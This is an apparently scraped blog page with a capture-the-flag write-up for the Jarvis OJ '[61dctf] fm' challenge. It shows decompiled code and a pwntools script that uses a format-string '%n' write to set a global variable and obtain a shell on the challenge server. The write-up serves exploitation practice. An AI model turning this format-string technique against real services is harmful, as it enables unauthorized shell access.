当前位置:网站首页>[61dctf]fm
[61dctf]fm
2022-07-05 16:46:00 【[mzq]】
[61dctf]fm
Attachment address : https://dn.jarvisoj.com/challengefiles/fm.eaef2247796c11db798a579396482399
nc pwn2.jarvisoj.com 9895

checksec Canary found The stack overflows and the travel is blocked

main function
stay if Determine the x Value , however x The value of is beyond our control ,printf Output &buf Value , Here is a format string attack , and if The judgment is 4 and $n Can output 4 Of int Value to any address .

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+2Ch] [ebp-5Ch]
unsigned int v5; // [esp+7Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(&buf, 0, 0x50u);
read(0, &buf, 0x50u);
printf(&buf);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}
You can see the output aaaa The offset of 11


Through dynamic debugging , hold x Is set to 0x4, After running, you really get shell


exp

from pwn import *
io = process("./stack")
io = remote("pwn2.jarvisoj.com", 9895)
x_addr = 0x0804A02C
context(log_level="debug", arch="i386")
payload = flat([x_addr,'%11$n'])
io.sendline(payload)
io.interactive()
边栏推荐
- Jarvis OJ 远程登录协议
- Cartoon: what is the eight queens problem?
- If you can't afford a real cat, you can use code to suck cats -unity particles to draw cats
- Global Data Center released DC brain system, enabling intelligent operation and management through science and technology
- [team PK competition] the task of this week has been opened | question answering challenge to consolidate the knowledge of commodity details
- 养不起真猫,就用代码吸猫 -Unity 粒子实现画猫咪
- Scratch colorful candied haws Electronic Society graphical programming scratch grade examination level 3 true questions and answers analysis June 2022
- 《21天精通TypeScript-3》-安装搭建TypeScript开发环境.md
- 数据湖(十四):Spark与Iceberg整合查询操作
- [deep learning] how does deep learning affect operations research?
猜你喜欢

公司自用的国产API管理神器

Data access - entityframework integration

Desci: is decentralized science the new trend of Web3.0?

Reduce the cost by 40%! Container practice of redis multi tenant cluster

详解SQL中Groupings Sets 语句的功能和底层实现逻辑
![[deep learning] how does deep learning affect operations research?](/img/d8/a367c26b51d9dbaf53bf4fe2a13917.png)
[deep learning] how does deep learning affect operations research?

清晰还原31年前现场,火山引擎超清修复Beyond经典演唱会

【刷题篇】鹅厂文化衫问题

Jarvis OJ Flag

Global Data Center released DC brain system, enabling intelligent operation and management through science and technology
随机推荐
Benji Banas membership pass holders' second quarter reward activities update list
Android 隐私沙盒开发者预览版 3: 隐私安全和个性化体验全都要
Quelques réflexions cognitives
搜索 正排索引 和 倒排索引 区别
文件操作--I/O
Scratch colorful candied haws Electronic Society graphical programming scratch grade examination level 3 true questions and answers analysis June 2022
Do sqlserver have any requirements for database performance when doing CDC
详解SQL中Groupings Sets 语句的功能和底层实现逻辑
Reduce the cost by 40%! Container practice of redis multi tenant cluster
服务器的数据库连不上了2003,10060“Unknown error“【服务已起、防火墙已关、端口已开、netlent 端口不通】
PHP strict mode
Yarn common commands
【刷題篇】鹅廠文化衫問題
Detailed explanation of use scenarios and functions of polar coordinate sector diagram
Google Earth engine (GEE) -- a brief introduction to kernel kernel functions and gray level co-occurrence matrix
You should have your own persistence
Record a 'very strange' troubleshooting process of cloud security group rules
tf. sequence_ Mask function explanation case
数据访问 - EntityFramework集成
Starkware: to build ZK "universe"